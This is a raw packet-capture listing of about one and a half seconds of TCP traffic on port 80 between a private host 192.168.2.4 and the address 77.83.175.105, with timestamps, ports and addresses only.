Oct 29, 2024 04:17:15.673203945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.673238039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.673264027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.673283100 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.674057961 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.674093008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.674124956 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.674166918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.791430950 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.791484118 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.791521072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.791520119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.791553974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.791587114 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.791608095 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.791609049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.791661024 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.791693926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.791727066 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.791727066 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.791749954 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.791759968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.791786909 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.791795015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.791806936 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.791929960 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.792485952 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.792520046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.792551041 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.792555094 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.792582989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.792598963 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.792598963 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.792793989 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.910367966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.910417080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.910444021 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.910475016 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.910484076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.910518885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.910553932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.910587072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.910614967 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.910620928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.910649061 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.910655022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.910675049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.910692930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.910718918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.910738945 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.911389112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.911443949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.911458969 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.911478996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.911514044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.911515951 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.911533117 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.911550045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.911561012 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.911658049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.029292107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.029314995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.029341936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.029356003 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.029359102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.029380083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.029392958 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.029392958 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.029397011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.029423952 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.029424906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.029426098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.029469967 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.029469967 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.030080080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.030134916 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.030162096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.030178070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.030234098 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.030491114 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.030513048 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.030536890 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.030549049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.030549049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.030551910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.030567884 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.030595064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.030628920 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.031330109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.031344891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.031385899 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.148545027 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.148639917 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.148746967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.148765087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.148781061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.148796082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.148802996 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.148813009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.148835897 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.148839951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.148855925 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.148871899 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.148880959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.148891926 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.148896933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.148910999 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.148912907 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.148926973 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.148929119 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.148946047 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.148966074 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.148966074 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.149761915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.149797916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.149811983 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.149812937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.149847031 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.149872065 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.267833948 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.267929077 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.267998934 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.268013954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.268028021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.268044949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.268049002 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.268060923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.268070936 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.268104076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.268115997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.268121004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.268151045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.268170118 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.268627882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.268642902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.268657923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.268673897 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.268688917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.268693924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.268703938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.268712997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.268740892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.269534111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.269550085 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.269565105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.269589901 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.269613028 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.387147903 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.387181044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.387196064 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.387212038 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.387212038 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.387234926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.387250900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.387249947 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.387250900 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.387267113 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.387276888 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.387281895 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.387299061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.387326002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.387336969 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.387337923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.387342930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.387392998 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.388133049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.388158083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.388174057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.388187885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.388204098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.388230085 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.388230085 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.388262987 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.505906105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.505969048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.506145000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.506161928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.506187916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.506194115 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.506206989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.506216049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.506225109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.506242990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.506247997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.506261110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.506277084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.506297112 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.506824970 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.506870031 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.506881952 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.506887913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.506913900 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.506936073 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.507428885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.507447958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.507463932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.507483959 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.507527113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.507527113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.507709980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.507725954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.507741928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.507757902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.507757902 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.507785082 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.507785082 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.507814884 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.625643969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.625762939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.625778913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.625776052 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.625796080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.625812054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.625828028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.625837088 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.625837088 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.625837088 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.625871897 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.625871897 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.625890017 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.625905037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.625927925 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.625943899 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.625950098 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.625950098 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.625958920 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.625972986 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.625977039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.625993013 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.626035929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.626036882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.626775980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.626791954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.626808882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.626823902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.626830101 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.626856089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.626890898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.627363920 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.627381086 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.627394915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.627443075 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.627443075 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.744086027 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.744106054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.744167089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.744200945 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.744414091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.744462013 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.744473934 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.744491100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.744515896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.744524956 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.744530916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.744545937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.744548082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.744589090 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.744589090 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.744589090 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.744852066 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.744910955 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.744920969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.744936943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.744951010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.744965076 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.744966984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.744985104 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.745012045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.745012045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.745526075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.745554924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.745572090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.745583057 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.745606899 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.745625019 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.745637894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.745654106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.745711088 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.790663004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.790684938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.790703058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.790726900 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.790769100 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.863543987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.863627911 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.863666058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.863694906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.863712072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.863728046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.863744974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.863744974 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.863759995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.863776922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.863802910 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.863833904 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.864176035 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.864237070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.864258051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.864300966 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.864484072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.864553928 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.864557981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.864573956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.864592075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.864608049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.864620924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.864646912 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.864669085 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.864979029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.865026951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.865042925 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.865042925 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.865060091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.865068913 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.865087032 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.865112066 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.909812927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.909838915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.909857988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.909897089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.909931898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.982641935 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.982717037 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.982752085 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.982769966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.982785940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.982801914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.982811928 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.982820034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.982836008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.982836008 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.982851982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.982887030 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.982908010 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.983309031 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.983336926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.983352900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.983364105 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.983390093 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.983421087 CET	49755	80	192.168.2.4	77.83.175.105
